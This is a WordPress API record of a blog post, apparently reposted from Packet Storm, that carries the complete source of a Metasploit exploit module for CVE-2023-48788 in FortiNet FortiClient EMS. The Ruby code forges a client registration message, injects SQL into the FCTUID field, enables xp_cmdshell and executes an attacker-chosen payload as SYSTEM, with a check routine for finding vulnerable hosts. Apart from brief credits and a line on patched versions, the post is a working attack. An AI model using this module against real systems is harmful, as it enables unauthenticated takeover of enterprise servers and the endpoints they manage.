{"id":56394,"date":"2024-04-23T20:30:40","date_gmt":"2024-04-23T16:30:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178230\/forticlient_ems_fctid_sqli.rb.txt"},"modified":"2024-04-23T20:30:40","modified_gmt":"2024-04-23T16:30:40","slug":"fortinet-forticlient-ems-7-2-2-7-0-10-sql-injection-remote-code-execution","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/fortinet-forticlient-ems-7-2-2-7-0-10-sql-injection-remote-code-execution\/","title":{"rendered":"FortiNet FortiClient EMS 7.2.2 \/ 7.0.10 SQL Injection \/ Remote Code Execution"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Exploit::Remote<br \/>Rank = ExcellentRanking<\/p>\n<p>include Msf::Exploit::Remote::HttpClient<br \/>include Msf::Exploit::Remote::Tcp<br \/>prepend Msf::Exploit::Remote::AutoCheck<\/p>\n<p>def initialize(info = {})<br \/>super(<br \/>update_info(<br \/>info,<br \/>&#8216;Name&#8217; =&gt; &#8216;FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).<br \/>FortiClient EMS serves as an endpoint management solution tailored for enterprises, offering a centralized<br \/>platform for overseeing enrolled endpoints. The SQLi is vulnerability is due to user controller strings which<br \/>can be sent directly into database queries.<\/p>\n<p>FcmDaemon.exe is the main service responsible for communicating with enrolled clients. By default it listens on port 8013<br \/>and communicates with FCTDas.exe which is responsible for translating requests and sending them to the database.<br \/>In the message header of a specific request sent between the two services, the FCTUID parameter is vulnerable<br \/>SQLi. The SQLi can used to enable the xp_cmdshell which can then be used to obtain unauthenticated remote code<br \/>execution in the context of NT AUTHORITY\\SYSTEM<\/p>\n<p>Affected versions of FortiClient EMS include:<br \/>7.2.0 through 7.2.2<br \/>7.0.1 through 7.0.10<\/p>\n<p>Upgrading to either 7.2.3, 7.0.11 or above is recommended by FortiNet.<\/p>\n<p>It should be noted that in order to be vulnerable, at least one endpoint needs to be enrolled \/ managed by FortiClient<br \/>EMS for the necessary vulnerable services to be available.<br \/>},<br \/>&#8216;Author&#8217; =&gt; [<br \/>&#8216;Zach Hanley&#8217;, # Analysis &amp; PoC<br \/>&#8216;James Horseman&#8217;, # Analysis &amp; PoC<br \/>&#8216;jheysel-r7&#8217;, # Msf module<br \/>&#8216;Spencer McIntyre&#8217; # Msf module assistance<br \/>],<br \/>&#8216;References&#8217; =&gt; [<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/www.horizon3.ai\/attack-research\/attack-blogs\/cve-2023-48788-fortinet-forticlientems-sql-injection-deep-dive\/&#8217;],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/github.com\/horizon3ai\/CVE-2023-48788\/blob\/main\/CVE-2023-48788.py&#8217;],<br \/>[ &#8216;CVE&#8217;, &#8216;2023-48788&#8217;]],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;Platform&#8217; =&gt; &#8216;win&#8217;,<br \/>&#8216;Privileged&#8217; =&gt; true,<br \/>&#8216;Arch&#8217; =&gt; [ ARCH_CMD ],<br \/>&#8216;Targets&#8217; =&gt; [<br \/>[ &#8216;Automatic Target&#8217;, {}]],<br \/>&#8216;DefaultTarget&#8217; =&gt; 0,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2024-04-21&#8217;,<br \/>&#8216;DefaultOptions&#8217; =&gt; {<br \/>&#8216;SSL&#8217; =&gt; true,<br \/>&#8216;RPORT&#8217; =&gt; 8013<br \/>},<br \/>&#8216;Notes&#8217; =&gt; {<br \/>&#8216;Stability&#8217; =&gt; [ CRASH_SAFE ],<br \/>&#8216;SideEffects&#8217; =&gt; [ IOC_IN_LOGS ],<br \/>&#8216;Reliability&#8217; =&gt; [ REPEATABLE_SESSION ]}<br \/>)<br \/>)<br \/>end<\/p>\n<p>def get_register_info<br \/>register_info = &lt;&lt;~REGISTER_INFO<br \/>AVSIG_VER=1.00000<br \/>REG_KEY=_<br \/>EP_ONNETCHKSUM=0<br \/>AVENG_VER=6.00266<br \/>DHCP_SERVER=None<br \/>FCTOS=WIN64<br \/>VULSIG_VER=1.00000<br \/>FCTVER=7.0.7.0345<br \/>APPSIG_VER=13.00364<br \/>USER=Administrator<br \/>APPENG_VER=4.00082<br \/>AVALSIG_VER=0.00000<br \/>VULENG_VER=2.00032<br \/>OSVER=Microsoft Windows Server 2019 , 64-bit (build 17763)<br \/>COM_MODEL=VMware Virtual Platform<br \/>RSENG_VER=1.00020<br \/>AV_PROTECTED=0<br \/>AVALENG_VER=0.00000<br \/>PEER_IP=<br \/>ENABLED_FEATURE_BITMAP=49<br \/>EP_OFFNETCHKSUM=0<br \/>INSTALLED_FEATURE_BITMAP=158583<br \/>EP_CHKSUM=0<br \/>HIDDEN_FEATURE_BITMAP=155943<br \/>DISKENC=<br \/>HOSTNAME=CYBER-RETQB1FLP<br \/>AV_PRODUCT=<br \/>FCT_SN=FCT8001638848651<br \/>INSTALLUID=#{Faker::Internet.uuid.upcase}<br \/>NWIFS=Ethernet0|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|#{Faker::Internet.ip_v4_address}|#{Faker::Internet.mac_address}|1|*|0<br \/>UTC=1710271774<br \/>PC_DOMAIN=<br \/>COM_MAN=VMware, Inc.<br \/>CPU=Intel(R) Xeon(R) Silver 4215 CPU @ 2.50GHz<br \/>MEM=12287<br \/>HDD=99<br \/>COM_SN=VMware-42 04 ed 2d 64 e8 0b 14-45 e9 e4 f6 5a c7 67 82<br \/>DOMAIN=<br \/>WORKGROUP=WORKGROUP<br \/>USER_SID=S-1-5-21-#{rand(9) * 10}-#{rand(9) * 10}-#{rand(9) * 10}-500<br \/>GROUP_TAG=<br \/>ADGUID=<br \/>EP_FGTCHKSUM=0<br \/>EP_RULECHKSUM=0<br \/>WF_FILESCHKSUM=0<br \/>EP_APPCTRLCHKSUM=0<br \/>REGISTER_INFO<br \/>Rex::Text.encode_base64(register_info)<br \/>end<\/p>\n<p>def get_message(sqli)<br \/>message = &#8220;MSG_HEADER: FCTUID=CBE8FC122B1A46D18C3541E1A8EFF7BD{SQLI_PLACEHOLDER}\\n&#8221;<br \/>message &lt;&lt; &#8220;IP=127.0.0.1\\n&#8221;<br \/>message &lt;&lt; &#8220;MAC=#{Faker::Internet.mac_address}\\n&#8221;<br \/>message &lt;&lt; &#8220;FCT_ONNET=0\\n&#8221;<br \/>message &lt;&lt; &#8220;CAPS=32767\\n&#8221;<br \/>message &lt;&lt; &#8220;VDOM=default\\n&#8221;<br \/>message &lt;&lt; &#8220;EC_QUARANTINED=0\\n&#8221;<br \/>message &lt;&lt; &#8220;SIZE= {SIZE_PLACEHOLDER}\\n&#8221;<br \/>message &lt;&lt; &#8220;\\n&#8221;<br \/>message &lt;&lt; &#8220;X-FCCK-REGISTER: SYSINFO||#{get_register_info}\\n&#8221;<br \/>message &lt;&lt; &#8216;X-FCCK-REGISTER-END&#8217;<br \/>message &lt;&lt; &#8220;\\r\\n&#8221;<br \/>message &lt;&lt; &#8220;\\r\\n&#8221;<br \/>message.gsub!(&#8216;{SQLI_PLACEHOLDER}&#8217;, sqli)<br \/>message_length = message.length<br \/>message_length = message_length &#8211; &#8216;{SIZE_PLACEHOLDER}&#8217;.length + message_length.to_s.length<br \/>message.gsub!(&#8216;{SIZE_PLACEHOLDER}&#8217;, message_length.to_s)<br \/>message<br \/>end<\/p>\n<p>def send_message(sqli)<br \/>message = get_message(sqli)<br \/>vprint_status(&#8220;Sending the following message: #{message}&#8221;)<\/p>\n<p>buf = &#8221;<br \/>begin<br \/>connect(true, { &#8216;SSL&#8217; =&gt; true })<br \/>sock.put(message)<br \/>buf = sock.get_once || &#8221;<br \/>rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError =&gt; e<br \/>elog(&#8220;#{e.class} #{e.message}\\n#{e.backtrace * &#8220;\\n&#8221;}&#8221;)<br \/>ensure<br \/>disconnect<br \/>end<br \/>vprint_status(&#8220;The response received was: #{buf}&#8221;)<br \/>buf<br \/>end<\/p>\n<p>def check<br \/>res = send_message(&#8220;&#8216; OR 1=1; &#8211;&#8220;)<br \/>return CheckCode::Vulnerable(&#8216;The SQLi has been exploited successfully&#8217;) if res.include?(&#8216;KA_INTERVAL&#8217;)<br \/>return CheckCode::Safe if res.include?(&#8220;The FCT record doesn&#8217;t exist&#8221;)<\/p>\n<p>CheckCode::Unknown(&#8220;#{peer} &#8211; FmcDaemon.exe does not appear to be running on the endpoint targeted&#8221;)<br \/>end<\/p>\n<p>def exploit<br \/># Things to note:<br \/># 1. xp_cmdshell is disabled by default so first we must enable it.<br \/># 2. The application takes the SQL statement we inject into and converts it all to upper case. This was causing<br \/># attempted Base64 encoded payloads to fail, and is why we send the payload has a hex string and decode it using SQL<br \/># before running the command with xp_command shell.<br \/># 3. We expect to see KA_INTERVAL in the response to every SQLi attempt except for when we deliver the payload which<br \/># is when we expect the response to be empty.<br \/>inject = [<br \/>&#8220;&#8216; OR 1=1; exec master.dbo.sp_configure &#8216;show advanced options&#8217;, 1;&#8211;&#8220;,<br \/>&#8220;&#8216; OR 1=1; reconfigure;&#8211;&#8220;,<br \/>&#8220;&#8216; OR 1=1; exec master.dbo.sp_configure &#8216;xp_cmdshell&#8217;,1;&#8211;&#8220;,<br \/>&#8220;&#8216; OR 1=1; reconfigure;&#8211;&#8220;,<br \/>&#8220;&#8216; OR 1=1; DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack(&#8216;H*&#8217;).first}); exec master.dbo.xp_cmdshell @sql;&#8211;&#8220;,<br \/>]inject.each do |sqli|<br \/>if sqli == inject.last<br \/>send_message(sqli).empty? ? print_good(&#8220;The SQLi: #{sqli} was executed successfully&#8221;) : fail_with(Failure::UnexpectedReply, &#8216;The SQLi injection response indicated the injection was unsuccessful.&#8217;)<br \/>else<br \/>send_message(sqli).include?(&#8216;KA_INTERVAL&#8217;) ? print_good(&#8220;The SQLi: #{sqli} was executed successfully&#8221;) : fail_with(Failure::UnexpectedReply, &#8216;The SQLi injection response indicated the injection was unsuccessful.&#8217;)<br \/>end<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Exploit::RemoteRank = ExcellentRanking include Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::Remote::Tcpprepend Msf::Exploit::Remote::AutoCheck def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE&#8217;,&#8216;Description&#8217; =&gt; %q{An SQLi injection vulnerability exists in FortiNet FortiClient EMS (Endpoint Management Server).FortiClient EMS serves as an endpoint management solution tailored for &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-56394","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56394","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=56394"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/56394\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=56394"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=56394"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=56394"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}